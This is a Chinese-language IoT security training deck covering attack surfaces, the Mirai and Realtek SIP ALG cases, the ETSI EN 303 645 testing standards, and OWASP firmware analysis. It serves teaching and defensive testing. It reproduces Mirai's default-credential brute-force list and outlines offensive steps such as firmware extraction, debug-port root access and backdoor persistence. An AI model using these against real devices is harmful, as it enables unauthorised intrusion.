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IoT 架構概論

產業概述 ·  設計架構 ·  威脅案例



為何必須對 IoT 產品進行檢測？
I o T  安全威脅現況 ·  全球規模

270億+
2025年連網裝置數量

57%
IoT裝置有中/高危漏洞

98%
IoT流量未加密

$2.4兆
2025 IoT市場規模(USD)

IOT產品面臨的危害

! 大規模 DDoS 攻擊
Mirai 殭屍網路癱瘓 DNS — 波及 Twitter/Netflix

! 工業設施 / 關鍵基礎設施
電廠、水廠 SCADA 遭入侵可造成實體危害

! 個資大規模洩漏
智慧家電、攝影機、醫療裝置的隱私外洩

! 勒索 & 供應鏈攻擊
入侵 IoT 裝置作為跳板滲透企業內網

易受攻擊產業

智慧家庭 / 消費電子

醫療物聯網 (IoMT)

工業控制 (ICS/SCADA)

智慧城市 / 交通

車聯網 (V2X)

企業 IT/OT 融合

Source：Statista (2024)  ·  Palo Alto Unit 42 IoT Threat Report (2020)  ·  IoT Analytics Market Report (2024)  ·  Gartner IoT Forecast (2024)



IoT運作架構
感知層擷取數據 →  網路層傳輸整合 →  資料處理層運算分析 →  應用層決策呈現

應用層Application Layer

資料處理層Data Processing Layer

網路層Network Layer

感知層Perception (Sensing) Layer

Data
Flow

終端使用者的應用場景，將處理後的資訊轉化為產品應用，提供決策分析與服務。

匯聚原始數據進行儲存、清洗、運算與分析（雲端/邊緣運算），產出可供應用層使用的資訊。

透過有線網路或與多種無線通訊協定，將感知層數據匯聚並傳輸至資料處理層。

由各類終端裝置與感測元件組成，負責擷取環境資訊，是IoT架構中資料來源的地方。



I O T  S Y S T E M  A R C H I T E C T U R E

IoT架構-智慧家庭

Wi-Fi Router
家用wifi路由器

Wi-Fi 6

Cloud
廠商雲端平台

儲存 管理 分析

行動應用 App
iOS · Android · Web

多使用者同步存取

感知層

智慧電表 掃地機器人

智慧燈泡 冷氣機

洗衣機 冰箱

Smart Home 智慧裝置

網路層 資料處理層 應用層

bluetooth Zigbee



I O T  S Y S T E M  A R C H I T E C T U R E

智慧家庭-攻擊面與風險

攻擊面：硬體 / 嵌入式
JTAG/UART 介面存取、Flash拆焊讀取、旁路攻擊

攻擊面：韌體 / OS

OTA更新機制、Hardcoded 帳密、記憶體溢位

攻擊面：通訊 / 傳輸
竊聽、中間人攻擊、資料傳輸未加密

攻擊面：應用 / 雲端
弱密碼/預設密碼、API漏洞、身分驗證管理失效

Wi-Fi Router
家用wifi路由器

Wi-Fi 6

Cloud
廠商雲端平台

儲存 管理 分析

行動應用 App
iOS · Android · Web

多使用者同步存取

感知層

智慧電表 掃地機器人

智慧燈泡 冷氣機

洗衣機 冰箱

Smart Home 智慧裝置

網路層 資料處理層 應用層

bluetooth Zigbee



01 / 04 — 攻擊面分析

嵌入式硬體層
裝置的實體層：晶片、電路與除錯介面

元件範例

• PCB、晶片組
• UART / JTAG / SPI 除錯介面
• Flash 記憶體・EEPROM

• 感測器與周邊電路

除錯介面暴露

未關閉的 JTAG／UART／SWD 可直接讀寫

記憶體、繞過韌體保護並注入任意程式碼

Side-channel 旁道攻擊

透過功耗分析（SPA／DPA）或電磁輻射側

錄，推導出晶片運作時加密金鑰與敏感運算

內容。

缺乏 Secure Boot
啟動流程未驗證韌體簽章，攻擊者可植入惡

意韌體並在裝置中長期潛伏。

Flash 記憶體直接讀取

拆機後以外部程式器讀出 Flash 內容，取得

完整韌體、金鑰與硬編碼憑證。

供應鏈植入

生產或組裝過程中植入惡意元件或後門晶片，僅靠軟體檢測難以發現。



02 / 04 — 攻擊面分析

韌體 / OS 層
裝置的作業系統與檔案系統

元件範例

• Linux / RTOS 核心
• Bootloader（如 U-Boot）
• 檔案系統與設定檔
• 韌體更新（OTA）機制

Root 權限濫用

系統服務以 root 執行、缺乏權限隔離，單一

漏洞即可取得完整裝置控制權。

已知漏洞元件（N-day）

使用過時的開源函式庫或核心版本，存在公開

CVE 卻未修補。

硬編碼憑證與金鑰
帳密、API Token 或加密金鑰直接寫死在韌體中

，逆向後即可取得。

韌體逆向工程
未加密或未混淆的韌體可被直接解包分析，暴

露內部邏輯與弱點。

OTA 更新缺乏簽章驗證

更新流程未驗證來源與完整性，可被中間人竄改為惡意韌體並推送至裝置。



03 / 04 — 攻擊面分析

通訊協定層
裝置使用的網路協定

元件範例

• Wi-Fi・BLE・ZigBee

• Z-Wave・專屬 RF 協定
• MQTT・CoAP 應用層協定
• 裝置配對與金鑰交換

中間人攻擊（MITM）

缺乏憑證驗證或協定漏洞讓攻擊者插入通訊

路徑，竊聽並竄改往來資料。

未加密傳輸竊聽

明文傳送感測資料或控制指令，攻擊者側錄

封包即可取得敏感資訊。

重送攻擊（Replay）

擷取合法封包後重複發送，繞過身分驗證觸發

未授權操作。

弱配對機制

BLE Just Works 配對或固定 PIN 碼容易被

暴力破解或偽造裝置介入。

Rogue Gateway／裝置冒充

偽造閘道器或感測節點加入網路，竊取資料或向真實裝置發送惡意指令。



04 / 04 — 攻擊面分析

應用 / 雲端層
裝置的應用服務包含Web、App 與雲端後端

元件範例

• Web 管理後台・REST API

• Mobile App

• Cloud Backend・資料庫
• 第三方 SDK 與服務整合

API 未授權存取

缺乏身分驗證或權限檢查，攻擊者可直接呼

叫敏感端點取得或竄改資料。

憑證洩漏
API Key、雲端存取金鑰寫死在 App 或前端

程式碼中，反編譯即可取得。

IDOR 越權存取

物件參照可預測，修改請求參數即可存取他人

裝置或帳戶資料。

身分驗證與 Session 管理薄弱
Token 永久有效、Session 未安全儲存，容易遭

到劫持與重放。

雲端設定錯誤

雲端儲存、資料庫未正確設限或公開存取，導致大量使用者資料外洩。



智慧家庭系統架構-攻擊面與風險

C2主機 C2主機 C2主機

Wi-Fi Router
家用wifi路由器

Wi-Fi 6

Cloud
廠商雲端平台

儲存 管理 分析

行動應用 App
iOS · Android · Web

多使用者同步存取

感知層

智慧電表 掃地機器人

智慧燈泡 冷氣機

洗衣機 冰箱

Smart Home 智慧裝置

網路層 資料處理層 應用層

bluetooth Zigbee

I O T  S Y S T E M  A R C H I T E C T U R E



案例 1 — Mirai Botnet (2016)

攻擊手法：Telnet/SSH 暴力破解 → 大量 IoT 裝置硬編碼預設憑證/漏洞利用 →   DDoS Botnet

攻擊鏈

1 掃描 Port 22/23 尋找不安全配置服務(密碼爆破)

2 使用 62 組預設弱密碼

3 感染裝置下載 Mirai 惡意程式

4 植入 botnet C2 通訊模組(分析設備CPU架構)

5 發動 Tbps 級 DDoS 攻擊（DNS Amplification、UDP Flooding）

影響範圍

60+ 萬台 IoT 裝置感染

DDoS造成多企業服務中斷

當時最大 DDoS流量 620 Gbps

修補建議

修改預設密碼

停用 Telnet，改用 SSH + 金鑰認證

網路層封鎖 Telnet 對外暴露



攻擊案例 01

IoT 攻擊案例 — Mirai Botnet（2016）

攻擊手法： Telnet/SSH 暴力破解 → 大量 IoT 裝置硬編碼預設憑證/漏洞利用 → DDoS Botnet

Mirai 內建的硬編碼預設憑證清單

root:xc3511 root:root

root:vizxv root:12345

root:admin user:user

admin:admin root:pass

root:888888 admin:admin1234

root:xmhdipc root:1111

root:default admin:smcadmin

root:juantech admin:1111

root:123456 root:666666

root:54321 root:password

support:support root:1234

admin:password root:klv123



攻擊案例 02 — 摘要
Realtek SDK CVE-2022-27255 攻擊說明

攻擊鏈

掃描網路對外開放的 SIP 服務port

傳送特製 SIP INVITE／SDP 封包，無需身分驗證

SDP 標頭未驗證長度，觸發記憶體覆寫

劫持執行流程，植入惡意程式碼

取得裝置完整控制權（RCE），加入殭屍網路或竊取資
料

影響範圍

200+ 廠商、190 款路由器型號受影響

涵蓋 Asus、Belkin、D-Link、Netgear 等主流品牌

CVSS 評分 9.8（Critical等級）

修補建議

更新至廠商釋出的修補韌體版本

停用不必要的 SIP ALG 功能

於網路層封鎖裝置對外暴露的管理與 SIP 服務埠

1

2

3

4

5



攻擊案例 02

Realtek SDK — CVE-2022-27255
Realtek eCos SDK・SIP ALG 模組漏洞 → 遠端程式碼執行（CVSS 9.8）

攻擊手法：傳送特製 SIP INVITE 封包 → SDP 標頭未驗證長度 → 觸發記憶體覆寫 → 遠端執行任意程式碼

漏洞分析

漏洞位置
Realtek eCos SDK — SIP ALG 模組，

SDP 封包解析函式

漏洞原因
SDP 標頭解析時未檢查攻擊者控制字

串的長度，直接複製造成記憶體覆寫

觸發條件
無需認證，傳送特製 SIP INVITE 封包

即可從外部網路觸發

影響範圍
影響 200+ 廠商、190 款路由器型號，

包含 Asus / Belkin / D-Link / Netgear



◦ 勒索或販賣
source: 民視新聞 source: IThome

物聯網產品真實危害場景

攝影機方便監控保障安全 -> 但不安全的配置也帶來危害

消費性電子–攝影機威脅場景

攻擊途徑：
・攻擊者掃描暴露在外的 IP Camera

◦ 預設密碼登入

◦ 漏洞利用嘗試

・案例：

◦ 竊取成員隱私影像

◦ 危害人身安全

影響：隱私侵害・人身安全威脅・

身份監視

source: 公視新聞



・案例：

source: IThomesource: 網管人

物聯網產品真實危害場景

醫療產品救命 -> 不安全設置將危及生命財產

醫療 IoMT 場景

攻擊路徑：

・大型醫療設備（如 MRI、CT 掃

描儀）使用的作業系統版本過舊

◦ 醫療產品漏洞

◦ 醫療產品資安防護不足

◦ IoMT 設備與醫院資訊系統連動

◦ 一個點被突破就橫向移動滲透整

個網路

◦ 心律調節器透過 BLE 遠端控制

◦ 攻擊者竄改藥物劑量

影響：人身安全威脅・醫療事故

source: 自由時報



source: 資安人 source: 民視新聞

◦ 植入木馬程式感染 SCADA

物聯網產品真實危害場景

當關鍵基礎設施被入侵 -> 災害可能變成人為

工業 ICS/SCADA 場景

攻擊路徑：
・工業環境中的感測器、智慧電表等

IoT 裝置

◦ 韌體長期未更新

◦ 預設帳密未更改

◦ 使用無加密的 Modbus/DNP3 協定

◦ 無憑證驗證的 MQTT/HTTP 傳輸

・取得立足點滲透進入 OT 網路

◦ 修改 PLC 控制邏輯

・案例：Stuxnet、Fuxnet

影響：生產中斷・設備損毀・環境

災害（如 Stuxnet）

source: IThome



第一章小節

物聯網產品結構上常因成本考量與便利性優先造成安全風險與危害

製造商成本考量

1.硬體資源壓縮
2.省略開發與測試流程
3.不提供長期維護與更新機制
4.ODM/OEM產品

便利性考量

1.實現隨時隨地控制
2.簡易的身分識別
3.過度追求相容性

結構性架構問題

1.規模化分散部署
2.本質即萬物皆聯網
3.產品多樣碎片化
4.物理性暴露
5.生命週期長

source:Internet of Things Security: Threats, Recent Trends, and Mitigation Approaches
source:SYSTEMATIC REVIEW article Risk and threat mitigation techniques in internet of things (IoT) environments: a survey



IoT安全檢測指引

檢測標準指引 ·  檢測框架 ·  檢測案例分享



IoT 設備安全：國際標準、檢測框架與各國法規
國際標準與指引 →  檢測／認證規範 →  各國法規

目的 文件

標準指引 定義安全的IoT產品須具備的條件

• NISTIR 8259 系列(製造商)

• NISTIR 8425(消費性IoT)

• ISO/IEC 27400/27402(IoT隱私安全/

設備基本要求)

• ETSI EN 303 645(歐盟)

• CNS 16120(攝影機)、CNS 16217（門

禁系統）TAICS TS 0014(產業)

檢測認證
• 驗證產品是否符合標準的方法與符合

性

• 評估／認證機制(於認證實驗室測試)

• 歐盟ETSI TS 103 701

• 新加坡CLS(IoT)

• 美國Cyber Trust Mark

• 台灣物聯網資安標章

法規政策 規範產品進入市場的資安要求
• 歐盟CRA/RED(強制型)

• 英國 PSTI(強制型)



歐盟消費性物聯網資安標準指引與檢測認證

13
大類網路安全條款

Povisions

68
細項條款

Provisions in total

33
強制條款(shall)

Mandatory provisions

35
建議條款(should)

Recommendations

13 大安全領域 (Provisions)
涵蓋從「密碼管理」、「軟體更新」到「個人資料保護」

等 13 個消費性物聯網設備最容易面臨威脅的關鍵面向。

建立製造商在產品設計初期（Security by Design）即必須融入的

安全防禦架構框架。

68 項細項指標 (Clauses)
將 13 大領域落實為可操作的具體規格，共計包含 68 個細項條

款，作為檢測與驗證依據。

細項進一步劃分為 33 項強制性要求與 35 項最佳實務建議。

ETSI EN 303 645



歐盟消費性物聯網資安標準指引與檢測認證

33 / 35
Mandatory vs Recommendations

強制要求與建議事項的差異

33 項強制要求 (Mandatory - "Shall")：
進行合規性（Certification / AoC）檢驗時必須滿足的硬性門檻，無任何例外

豁免空間。

35 項建議事項 (Recommendations - "Should")：
為產業最佳安全實務建議，若因硬體限制無法達成，製造商須進行風險評估

與合理說明。

ETSI EN 303 645

13 大安全領域 (Provisions)
涵蓋從「密碼管理」、「軟體更新」到「個人資料保護」

等 13 個消費性物聯網設備最容易面臨威脅的關鍵面向。

建立製造商在產品設計初期（Security by Design）即必須融入的

安全防禦架構框架。

68 項細項指標 (Clauses)
將 13 大領域落實為可操作的具體規格，共計包含 68 個細項條

款，作為檢測與驗證依據。

細項進一步劃分為 33 項強制性要求與 35 項最佳實務建議。



智慧家電與家用網路設備

掃地機器人、智慧冰箱、溫控器、IoT

Hub、無線路由器。

家庭防護與門禁

網路攝影機（CCTV）、智慧門鎖、煙霧

感測器、嬰兒監視器。

個人穿戴與影音

智慧手錶、健康追蹤器、智慧電視、連

網音響。

受階層架構規範之產品範例

ETSI EN 303 645



編號 安全領域類別 (Provisions) 核心管理重點說明 條款數配比

5.1 無通用預設密碼 禁用出廠統一預設密碼，須為獨特密碼或首登強制變更 2 Mandatory

5.2 漏洞回報管理機制 製造商須公開漏洞回報管道，並制定漏洞協調處置流程 2 Mandatory 1 Rec.

5.3 保持軟體持續更新 安全更新須加密與驗證，且須公開明確的安全支援期限 4 Mandatory 9 Rec.

5.4 安全儲存敏感安全參數 私鑰、密碼及認證 Token 必須安全儲存，防止逆向工程提取 3 Mandatory 1 Rec.

5.5 確保安全的網路通訊 通訊過程需採用密碼學技術加密，確保機密性與完整性 5 Mandatory 3 Rec.

5.6 最小化暴露的攻擊面 關閉未使用的網路port、停用debug介面與不必要的服務 4 Mandatory 5 Rec.

5.7 確保軟體的完整性 開機安全驗證（Secure Boot），防止韌體遭未授權篡改 1 Mandatory 2 Rec.

13 大核心條款總覽 (舉例)

ETSI EN 303 645



編號 安全領域類別 (Provisions) 核心管理重點說明 條款數配比

5.8 確保個人資料之安全 對個人資安數據防護，符合 GDPR 隱私保護設計標準 2 Mandatory 1 Rec.

5.9 系統具備抗斷線韌性 發生網路中斷或電源異常時，系統仍能安全復原或維持運作 2 Mandatory 1 Rec.

5.10 檢視系統遙測數據 收集遙測資料前須取得同意，傳輸過程須獲得充分安全防護 1 Mandatory 1 Rec.

5.11 方便使用者消除個人資料 提供簡單且徹底的「恢復出廠設定」功能，清除所有隱私資料 2 Mandatory 1 Rec.

5.12 簡化裝置安裝與維護 引導使用者正確安裝，並提供清楚的安全建置與防禦指導 1 Mandatory 2 Rec.

5.13 驗證輸入資料安全性 對所有介面輸入之數據進行檢測，防止 SQL/Buffer 注入 1 Mandatory 1 Rec.

13 大核心條款總覽 (舉例)

ETSI EN 303 645



33 項強制要求的關鍵 (Shall)

• 產品進入市場的最基本標準。

• 強制規定如「不得使用全系列統一的初始預設密碼」，確保

出廠即具備基礎防護能力。

強制要求敏感安全參數（如 TLS 私鑰、設備 Token）嚴禁硬編碼

(Hardcoded) 於軟體原始碼中，防止機密資訊遭反組譯竊取。

製造商必須於公開網站發布

Vulnerability Disclosure Policy (VDP)，並明確註明產品資

安支援期限與聯絡機制。

第三方獨立實驗室（如 DEKRA、TÜV 等）主要針對此 33 項進行

逐項合規測試與發照報告，為認證合格的關鍵指標。

不可抗辯條款 金鑰與憑證防護

漏洞處理與透明度 驗證測試依據



35 項建議條款的策略 (Should)

規範為 Should，但全面實施此 35 項能顯著提高產品對抗資安威

脅的韌性。

考量微型感測器運算能力有限，給予部分密碼學演算法合理的

替代方案，避免因高強度加密導致效能癱瘓。

落實深層防護機制，包含防範物理介面調試（Debug ports 關閉

）、高階防篡改檢測等全生命周期防禦。

若評估後未實施部分建議項，測試時需在

ICS (Implementation Conformance Statement) 載明技術

原因與替代控制。

強化產品競爭力 允許受限設備彈性

安全開發生命週期 (SDLC) 合理說明 (Justification)



法規轉化與市場准入

• 銷售至歐盟的無線消費性物聯網設備強制要求符合網路安全規範

• 評估標準大量參考 EN 303 645，成為進入歐盟市場標準。

核心要求源自 EN 303 645 前三項關鍵條款：

• 禁止通用預設密碼

• 強制建置漏洞通報機制

• 明確標示安全更新支援期限。

EN 303 645 已確立為全球消費性物聯網資安的產業標準，獲得

各國市場准入法規高度採納與連結。

完成 EN 303 645 合規驗證

• 即可同時銷往歐盟 RED 與英國 PSTI 兩大市場

• 符合銷售門檻，大幅降低重複驗證成本。

歐盟 RED 法案 (Article 3.3) 英國 PSTI 法案

全球消費性 IoT 資安基線 多市場產品通行策略



ETSI TS 103 701 檢測評估架構

TS 103 701 為 ETSI 官方發布

• 測試評估指引 (Assessment Specification)

• 專為第三方法驗證機構 (CAB) 設計

• 提供標準化之評估步驟與判決基準。

• 將 EN 303 645 條款轉化為具體的測

試邏輯

• 包含測試前置條件 (Pre-conditions)

• 環境、項目、資訊、權限

• 操作步驟 (Test Steps)

• 合格判定 (Pass/Fail Criteria)。

• 確保不同實驗室在進行網絡設備評

估時，能獲得高度一致與客觀之結

果

• 作為歐盟 RED 指令與英國 PSTI 法案

之驗證依據。

標準定位與目的 結構化測試範例 (Test Cases) 一致性與可重複性



待測設備 (DUT) 產品架構與安全評估範疇

硬體/韌體層 (Hardware /Fireware Layer)

軟體與服務層 (Software & Services)

Wi-Fi 無線模組：2.4GHz / 5GHz 雙頻段傳輸，負責與區域網路連線。•

MicroSD 儲存卡槽：本地端影音檔案存儲與系統 Logs 紀錄介面。•

UART / JTAG 偵錯接腳：主板內部物理偵錯介面 (TX, RX, GND)。•

Reset 實體按鈕：用於執行恢復出廠預設值 (Hard Reset)。•

嵌入式 Linux 系統：運行 BusyBox，提供 RTSP, Web Console, SSH/Telnet 
服務。

•

行動 App (iOS / Android)：提供影像即時預覽、設備設定與 OTA 韌體更新。•

雲端 RTSP 影音串流：提供 P2P與雲端儲存服務 API。•

針對設備的關鍵元件進行安全測試



檢測一：預設密碼管理

初次開機檢查：設定全新攝影機，驗證系統是否強制使用者於首次登入

時建立強密碼。

•

恢復出廠設定 (Factory Reset)：執行 Hard Reset，確認預設密碼為「每

台設備唯一」（如貼於機身之隨機字串）或強制初始化。

•

服務介面字典攻擊：對 SSH / Telnet / Web 控制台進行常用弱密碼字典

檔爆破測試。

•

合格判定標準：全機無通用預設密碼，且強制要求設定高強度身份驗證

憑證。

•



檢測二：通訊加密保護

中間人攻擊 (MitM) 與封包分析：使用 Wireshark 擷取攝影機、App 與

雲端伺服器間之影音串流與控制封包。

•

TLS 協定強度檢查：確認 RTSP/HTTP 已升級為 RTSPS/HTTPS，且 TLS 
版本限制為 >= 1.2 並採用安全加密套件。

•

憑證驗證與阻擋：透過 Burp Suite 自簽憑證代理攔截，驗證攝影機是否

會嚴格拒絕未授權連線。

•



檢測三：實體介面與除錯埠保護

拆解與接腳定位：拆解攝影機外殼，使用萬用表探針定位主板上

UART/JTAG 接腳 (TX, RX, GND)。

•

Serial 連線與 Log 分析：透過 TTL-to-USB 連接電腦，監聽開機引導過程

(Bootloader Log)。

•

Root Shell 存取測試：嘗試中斷 Bootloader 或檢查終端是否直接提供無

密碼 Root 權限。

•

判定標準：出廠時 Debug 介面須停用/實體關閉，或存取時必須通過高

強度身份驗證。

•



檢測四：漏洞通報與軟體維護

審查製造商公開網站是否具備

Vulnerability Disclosure Policy 
(VDP)，並提供清晰的漏洞通報管

道與 PGP 金鑰。

剖析韌體組件 (OpenSSL, BusyBox, 

libcurl)，比對 CVE 漏洞資料庫，確

認無未修補之高風險既有漏洞。

檢查產品包裝、說明書或官網是否

明確標示資安安全更新支援期限

(End of Security Support)。

VDP 透明度審查 SBOM 漏洞檢測 支援期限公告



檢測項目 對應 EN 303 645 條款 測試方法 (TS 103 701) 合格判定基準 (Pass Criteria) 評估結果

預設密碼管理 Provision 4.3-1 (Shall) 初次開機檢查 / 弱密碼爆破 無通用預設密碼，強制設定強密碼 PASS

通訊加密保護 Provision 4.3-3 (Shall) Wireshark 封包側錄 / Burp MitM 採用 TLS 1.2+，拒絕未授權憑證 PASS

軟體更新安全 Provision 4.3-2 (Shall) 韌體篡改測試 / 版本降級測試 強制的數位簽章驗證與降級阻擋 PASS

實體介面防護 Provision 4.3-7 (Shall) UART / JTAG 探針監聽與 Shell 存取 Debug 介面關閉或須通過身份驗證 PASS

個人資料抹除 Provision 4.3-12 (Shall) Hard Reset 後 Flash 鑑識提取查看 敏感個人資料與憑證完全刪除 PASS

網路攝影機檢測結果總結表



第二章小節

物聯網產品檢測認證與實際落差

標準與認證的本質限制

1.認證與標準為最低基本要求
2.標準用語的解釋權
3.測試方法以該念性測試的灰
箱為主

4.通過標準!=產品無漏洞

產品生命週期與威脅動態演進

1.認證為當下非長期
2.韌體更新機制
3.舊設備與缺乏維護

實務落地、人為因素與生態系統缺口

1.物理環境與實驗室環境的落差
2.使用者環境因素
3.消費者過度自信
4.供應鏈與第三方元件

source: NIST SP 800-53 Rev. 5 & NIST IR 8259A
source:SYSTEMATIC REVIEW article Risk and threat mitigation techniques in internet of things (IoT) environments: a survey



IOT 韌體分析

取得 ·  解 . b i n  ·  靜態分析 ·逆向工程 ·動態分析



情資與取得

Information Gathering 資訊蒐集

Obtaining Firmware 取得韌體

靜態分析

Analyzing Firmware 韌體分析

Extracting Filesystem 提取檔案系統

Analyzing Filesystem Content 

檔案系統內容分析

動態分析與攻擊驗證

Emulating Firmware 韌體模擬

Dynamic Analysis 動態分析

Runtime Analysis 執行階段分析

Exploitation 攻擊驗證

OWASP FSTM  檢測框架
Firmware Security Testing Methodology 由 OWASP IoT Project 提出

0901 02 03 04 05 06 07 08

情蒐 取得韌體 韌體分析 提取檔案系統 內容分析 模擬 動態分析 執行期分析 攻擊驗證



常用工具

Information Gathering 資訊蒐集

目的
蒐集目標設備、廠商、韌體版本等公開情資，建立攻擊面profile

，作為後續取得韌體的線索。

執行步驟

1. 查詢產品官網、使用手冊、FCCID資料庫(fccid.io)

2. 以 Shodan / Censys 搜尋暴露在網路上的相同型號服務

3. Google Dorking 搜尋、GitHub 上洩漏的設定或原始碼

Shodan Censys FCC ID Search Google Dorks
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目標 • 確認品牌型號、硬體版本

• 在產品韌體更新網頁中下載取得.bin檔案

• 比對官網SHA256雜湊值

Obtaining Firmware 取得韌體

透過各種軟硬體管道，實際取得可供分析的韌體二進位檔案。

執行步驟

1. 官方下載：廠商韌體更新頁面 / 支援中心

2. 攔截 OTA 更新封包，取出傳輸中的韌體檔

4. 拆機讀取 Flash / EEPROM（SPI、JTAG、UART）

3. 探測韌體更新伺服器 API，嘗試直接下載



Obtaining Firmware 取得韌體

1. 官方下載：廠商韌體更新頁面 / 支援中心

2. 攔截 OTA 更新封包，取出傳輸中的韌體檔

4. 拆機讀取 Flash / EEPROM（SPI、JTAG、UART）

3. 探測韌體更新伺服器 API，嘗試直接下載

目標
透過各種軟硬體管道，實際取得可供分析的韌體二進位檔案。

執行步驟

• 中間人攻擊受CA/HTTPS限制
• 提供官方提供Root 腳本執行串接
• 繞過CA憑證解密麻煩

Android 掌上型遊戲機



Obtaining Firmware 取得韌體

1. 官方下載：廠商韌體更新頁面 / 支援中心

2. 攔截 OTA 更新封包，取出傳輸中的韌體檔

4. 拆機讀取 Flash / EEPROM（SPI、JTAG、UART）

3. 探測韌體更新伺服器 API，嘗試直接下載

目標
透過各種軟硬體管道，實際取得可供分析的韌體二進位檔案。

執行步驟

背景啟用腳本執行tcpdump側錄封包

使用wireshark分析抓到的封包，發現有POST到特定路徑的請求
Payload需夾帶參數:

• 當前韌體版本(current_version)
• 設備序號(sn)
• 密鑰(secret-key)



Obtaining Firmware 取得韌體

1. 官方下載：廠商韌體更新頁面 / 支援中心

2. 攔截 OTA 更新封包，取出傳輸中的韌體檔

4. 拆機讀取 Flash / EEPROM（SPI、JTAG、UART）

3. 探測韌體更新伺服器 API，嘗試直接下載

目標
透過各種軟硬體管道，實際取得可供分析的韌體二進位檔案。

執行步驟

伺服器回傳的 JSON 資料中則包含：
•更新版本號與更新日誌
•直連下載網址 (Download URL)
•檔案大小、MD5 檢查碼與編譯時間



Obtaining Firmware 取得韌體

1. 官方下載：廠商韌體更新頁面 / 支援中心

2. 攔截 OTA 更新封包，取出傳輸中的韌體檔

4. 拆機讀取 Flash / EEPROM（SPI、JTAG、UART）

3. 探測韌體更新伺服器 API，嘗試直接下載

目標
透過各種軟硬體管道，實際取得可供分析的韌體二進位檔案。

執行步驟

獲得API的Payload格式後:
• 直接透過curl加上必要參數訪問更新伺服器
• 即可取得完整韌體



Obtaining Firmware 取得韌體

目標
透過各種軟硬體管道，實際取得可供分析的韌體二進位檔案。

執行步驟

1. 官方下載：廠商韌體更新頁面 / 支援中心

2. 攔截 OTA 更新封包，取出傳輸中的韌體檔

4. 拆機讀取 Flash / EEPROM（SPI、JTAG、UART）

3. 探測韌體更新伺服器 API，嘗試直接下載

透過拆解設備找尋維修debug interface
• 使用另一個載板接收資料
• 再透過usb連接至電腦中
• 即可取得韌體



Obtaining Firmware 取得韌體

1. 官方下載：廠商韌體更新頁面 / 支援中心

2. 攔截 OTA 更新封包，取出傳輸中的韌體檔

4. 拆機讀取 Flash / EEPROM（SPI、JTAG、UART）

3. 探測韌體更新伺服器 API，嘗試直接下載

目標
透過各種軟硬體管道，實際取得可供分析的韌體二進位檔案。

執行步驟

透過解韌體即可對該設備進行分析



Analyzing Firmware 韌體分析

目標
識別韌體的檔案格式、封裝方式與是否經過壓縮或加密，判

斷是否需先破解才能繼續分析。

執行步驟
1. 使用 file / binwalk 判斷head簽章與封裝格式

2. 進行熵值分析（entropy），高熵區塊代表可能已壓縮或

加密

3. 定位 bootloader、kernel、rootfs 各分區邊界

4. 若確認加密，嘗試尋找韌體內或韌體外洩露的金鑰，或

已知的加密繞過手法

常用工具
binwalk Unblob CLI EMBA 



Analyzing Firmware 韌體分析

目標
識別韌體的檔案格式、封裝方式與是否經過壓縮或加密，判

斷是否需先破解才能繼續分析。

執行步驟
1. 使用 file / binwalk 判斷head簽章與封裝格式

2. 進行熵值分析（entropy），高熵區塊代表可能已壓縮或

加密

3. 定位 bootloader、kernel、rootfs 各分區邊界

4. 若確認加密，嘗試尋找韌體內或韌體外洩露的金鑰，或

已知的加密繞過手法

常用工具
binwalk Unblob CLI EMBA 



Extracting Filesystem 提取檔案系統

目標

執行步驟

從韌體映像中分離出實際檔案系統，取得完整目錄結構以

供後續內容分析。

1. 以 binwalk -Me 自動遞迴解壓已知格式

2. 若自動化失敗，手動 dd 切出分區後對應解壓（SquashFS、

JFFS2、UBIFS）

3. 將檔案系統掛載至本機（mount / loopback）

4. 確認 /etc、/bin、/www 等關鍵目錄結構完整

常用工具
binwalk Unblob CLI EMBA 



Extracting Filesystem 提取檔案系統

目標

執行步驟

從韌體映像中分離出實際檔案系統，取得完整目錄結構以

供後續內容分析。

1. 以 binwalk -Me 自動遞迴解壓已知格式

2. 若自動化失敗，手動 dd 切出分區後對應解壓（SquashFS、

JFFS2、UBIFS）

3. 將檔案系統掛載至本機（mount / loopback）

4. 確認 /etc、/bin、/www 等關鍵目錄結構完整

常用工具
binwalk Unblob CLI EMBA 



Extracting Filesystem 提取檔案系統

目標

執行步驟

從韌體映像中分離出實際檔案系統，取得完整目錄結構以

供後續內容分析。

1. 以 binwalk -Me 自動遞迴解壓已知格式

2. 若自動化失敗，手動 dd 切出分區後對應解壓（SquashFS、

JFFS2、UBIFS）

3. 將檔案系統掛載至本機（mount / loopback）

4. 確認 /etc、/bin、/www 等關鍵目錄結構完整

常用工具
binwalk Unblob CLI EMBA 



Analyzing Filesystem Content 檔案系統內容分析

目標
在解出的檔案系統中搜尋硬編碼機密、設定弱點

與已知漏洞的第三方元件。

執行步驟

1. 搜尋硬編碼帳號密碼、API 金鑰、私鑰檔案（.pem / 

id_rsa）

2. 檢查啟動腳本（init scripts）、cron job、服務設定

檔

3. 比對第三方套件版本，查詢對應已知 CVE

4. 靜態檢查二進位檔權限設定，留意 SUID / SGID 執

行檔

常用工具
binwalk Unblob CLI EMBA 



目標

Emulating Firmware 韌體模擬

在無需實體硬體的情況下模擬執行韌體，為後續動態測

試建立可互動的環境。

執行步驟

1. 判斷 CPU 架構（ARM / MIPS / x86）

2. 使用 QEMU 使用者模式或系統模式模擬

3. 處理硬體介面呼叫

4. 建立網路橋接，使模擬環境中的服務可被外部存取

常用工具
QEMU FAT firmadyne EMBA 



Dynamic Analysis 動態分析

目標

針對模擬或實機執行中的服務進行主動安全測試

，尋找可被外部觸發的弱點。

執行步驟

1. Web / API 滲透測試：認證繞過、指令注入、

CSRF

2. 對網路服務進行 Fuzzing（UPnP、Telnet、自訂

協定）

3. 測試韌體更新機制是否可被濫用（降級攻擊、偽

造更新檔）

4. 視裝置支援情況測試無線協定（藍牙、Zigbee 等

）

常用工具
Burp Suite boofuzz nmap / Nikto



目標

在真實硬體或高保真模擬環境中觀察程式執行期行為

，尋找記憶體層級的弱點。

Runtime Analysis 執行期分析

執行步驟

1. 以 gdbserver attach 目標行程進行動態除錯

2. 測試記憶體損毀類弱點：緩衝區溢位、堆疊保護繞過

3. 以 strace / ltrace 追蹤系統呼叫與行程行為

4. 透過 JTAG / UART 除錯埠側錄即時輸出訊息

常用工具
Ghidra / IDA Pro Frida GDB



Exploitation 攻擊驗證

目標

整合前八階段所有發現，實際攻擊驗證漏洞的可

利用程度，取得 root 權限或程式碼執行能力。

執行步驟

1. 串連多個獨立弱點，組成完整攻擊鏈（exploit 

chain）

2. 撰寫或調整 Proof of Concept，驗證可重現性

3. 嘗試取得 Shell、root 權限，或植入持久化後門

4. 評估實際影響、以 CVSS 評分風險等級並撰寫

報告

常用工具
ROPgadget Metasploit Libheap pwntools



OWASP IoT Top 10 
